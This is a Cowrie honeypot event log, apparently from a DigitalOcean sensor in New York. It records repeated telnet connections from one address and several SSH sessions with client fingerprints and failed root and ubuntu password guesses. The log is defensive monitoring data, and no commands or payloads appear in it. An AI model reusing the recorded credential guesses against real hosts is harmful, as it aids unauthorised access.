{"eventid":"cowrie.session.closed","duration":44.00132632255554,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:01.808560Z","src_ip":"192.119.13.58","session":"2799ece633cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d841fd3b12","protocol":"telnet","message":"New connection: 192.119.13.58:45992 (10.17.0.5:23) [session: 51d841fd3b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:02.805953Z"}
{"eventid":"cowrie.session.closed","duration":35.527079820632935,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:06.357560Z","src_ip":"192.119.13.58","session":"863cc019e7df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33316,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ef271fc20a","protocol":"telnet","message":"New connection: 192.119.13.58:33316 (10.17.0.5:23) [session: f4ef271fc20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:06.739310Z"}
{"eventid":"cowrie.session.closed","duration":44.926440477371216,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:06.864765Z","src_ip":"192.119.13.58","session":"8f524e6b0f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37834,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4998f92add","protocol":"telnet","message":"New connection: 192.119.13.58:37834 (10.17.0.5:23) [session: 2a4998f92add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:07.873306Z"}
{"eventid":"cowrie.session.closed","duration":40.68395805358887,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:10.757382Z","src_ip":"192.119.13.58","session":"22d49668a6fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.69180417060852,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:11.220508Z","src_ip":"192.119.13.58","session":"9c1c8ec2ba94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.18767738342285,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:11.865636Z","src_ip":"192.119.13.58","session":"2e61677a8a0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54388,"dst_ip":"10.17.0.5","dst_port":23,"session":"0731ce36eb31","protocol":"telnet","message":"New connection: 192.119.13.58:54388 (10.17.0.5:23) [session: 0731ce36eb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:11.886154Z"}
{"eventid":"cowrie.session.closed","duration":42.36955904960632,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:11.931922Z","src_ip":"192.119.13.58","session":"8e9079c7f209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48003125190735,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:12.305165Z","src_ip":"192.119.13.58","session":"c08b2589ab82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.13888120651245,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:13.097880Z","src_ip":"192.119.13.58","session":"e063589f7c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08726119995117,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:14.009752Z","src_ip":"192.119.13.58","session":"58f2194a79a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56164,"dst_ip":"10.17.0.5","dst_port":22,"session":"de71b344dd5a","protocol":"ssh","message":"New connection: 193.32.162.145:56164 (10.17.0.5:22) [session: de71b344dd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:17.453399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:17.503431Z","src_ip":"193.32.162.145","session":"de71b344dd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:17.597099Z","src_ip":"193.32.162.145","session":"de71b344dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.145702600479126,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:17.918164Z","src_ip":"192.119.13.58","session":"f10723a7b269","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"shredrum","message":"login attempt [ubuntu/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:18.045925Z","src_ip":"193.32.162.145","session":"de71b344dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:19.155404Z","src_ip":"193.32.162.145","session":"de71b344dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.253144025802612,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:21.139204Z","src_ip":"192.119.13.58","session":"0731ce36eb31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39492,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a907b6f089","protocol":"telnet","message":"New connection: 192.119.13.58:39492 (10.17.0.5:23) [session: 42a907b6f089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:21.968351Z"}
{"eventid":"cowrie.session.closed","duration":36.60147023200989,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:24.070312Z","src_ip":"192.119.13.58","session":"42bba0613145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.985119104385376,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:25.132015Z","src_ip":"192.119.13.58","session":"da5e9ce8c0e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.48861527442932,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:25.408846Z","src_ip":"192.119.13.58","session":"ae17d968c1cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44688,"dst_ip":"10.17.0.5","dst_port":22,"session":"7092da10b56a","protocol":"ssh","message":"New connection: 194.59.206.2:44688 (10.17.0.5:22) [session: 7092da10b56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:25.481565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:25.487244Z","src_ip":"194.59.206.2","session":"7092da10b56a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:25.573555Z","src_ip":"194.59.206.2","session":"7092da10b56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:25.665145Z","src_ip":"194.59.206.2","session":"7092da10b56a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55964,"dst_ip":"10.17.0.5","dst_port":23,"session":"366bcb2e5530","protocol":"telnet","message":"New connection: 192.119.13.58:55964 (10.17.0.5:23) [session: 366bcb2e5530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:26.030207Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43132,"dst_ip":"10.17.0.5","dst_port":23,"session":"43cf48dc1b4e","protocol":"telnet","message":"New connection: 192.119.13.58:43132 (10.17.0.5:23) [session: 43cf48dc1b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:29.950740Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51326,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d9f67492e8","protocol":"telnet","message":"New connection: 192.119.13.58:51326 (10.17.0.5:23) [session: 31d9f67492e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:32.095836Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55226,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4ce097ec3b","protocol":"telnet","message":"New connection: 192.119.13.58:55226 (10.17.0.5:23) [session: ac4ce097ec3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:32.997703Z"}
{"eventid":"cowrie.session.closed","duration":34.63654613494873,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:33.170220Z","src_ip":"192.119.13.58","session":"8c230c412198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55988,"dst_ip":"10.17.0.5","dst_port":23,"session":"3639080769c5","protocol":"telnet","message":"New connection: 192.119.13.58:55988 (10.17.0.5:23) [session: 3639080769c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:33.207107Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":46030,"dst_ip":"10.17.0.5","dst_port":22,"session":"c102424bd554","protocol":"ssh","message":"New connection: 122.51.73.24:46030 (10.17.0.5:22) [session: c102424bd554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:34.612225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:34.617426Z","src_ip":"122.51.73.24","session":"c102424bd554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:35.682723Z","src_ip":"122.51.73.24","session":"c102424bd554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6382c5cc54c","protocol":"telnet","message":"New connection: 192.119.13.58:38356 (10.17.0.5:23) [session: f6382c5cc54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:35.931895Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1994","message":"login attempt [root/1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:36.374871Z","src_ip":"122.51.73.24","session":"c102424bd554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:37.609091Z","src_ip":"122.51.73.24","session":"c102424bd554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":46706,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5cd3185549","protocol":"ssh","message":"New connection: 103.183.114.55:46706 (10.17.0.5:22) [session: 9c5cd3185549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:40.974989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:40.985108Z","src_ip":"103.183.114.55","session":"9c5cd3185549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:41.211969Z","src_ip":"103.183.114.55","session":"9c5cd3185549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.56584930419922,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:41.371670Z","src_ip":"192.119.13.58","session":"51d841fd3b12","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sophie","message":"login attempt [root/sophie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:41.893397Z","src_ip":"103.183.114.55","session":"9c5cd3185549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:43.123202Z","src_ip":"103.183.114.55","session":"9c5cd3185549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41428,"dst_ip":"159.203.135.109","dst_port":22,"session":"c191db06ba4b","protocol":"ssh","message":"New connection: 62.133.62.83:41428 (159.203.135.109:22) [session: c191db06ba4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:44.836080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:44.841597Z","src_ip":"62.133.62.83","session":"c191db06ba4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:44.934590Z","src_ip":"62.133.62.83","session":"c191db06ba4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010989","message":"login attempt [root/010989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:45.181564Z","src_ip":"62.133.62.83","session":"c191db06ba4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.446149587631226,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:46.185317Z","src_ip":"192.119.13.58","session":"f4ef271fc20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:46.270896Z","src_ip":"62.133.62.83","session":"c191db06ba4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9ca6276b17","protocol":"telnet","message":"New connection: 192.119.13.58:53340 (10.17.0.5:23) [session: ad9ca6276b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:46.291341Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36160,"dst_ip":"10.17.0.5","dst_port":23,"session":"722e72696e05","protocol":"telnet","message":"New connection: 192.119.13.58:36160 (10.17.0.5:23) [session: 722e72696e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:48.818563Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56658,"dst_ip":"10.17.0.5","dst_port":23,"session":"26112476534d","protocol":"telnet","message":"New connection: 192.119.13.58:56658 (10.17.0.5:23) [session: 26112476534d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:53.729480Z"}
{"eventid":"cowrie.session.closed","duration":47.93807411193848,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:55.811242Z","src_ip":"192.119.13.58","session":"2a4998f92add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37910,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca6b7d1500f","protocol":"telnet","message":"New connection: 192.119.13.58:37910 (10.17.0.5:23) [session: 1ca6b7d1500f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:13:55.950482Z"}
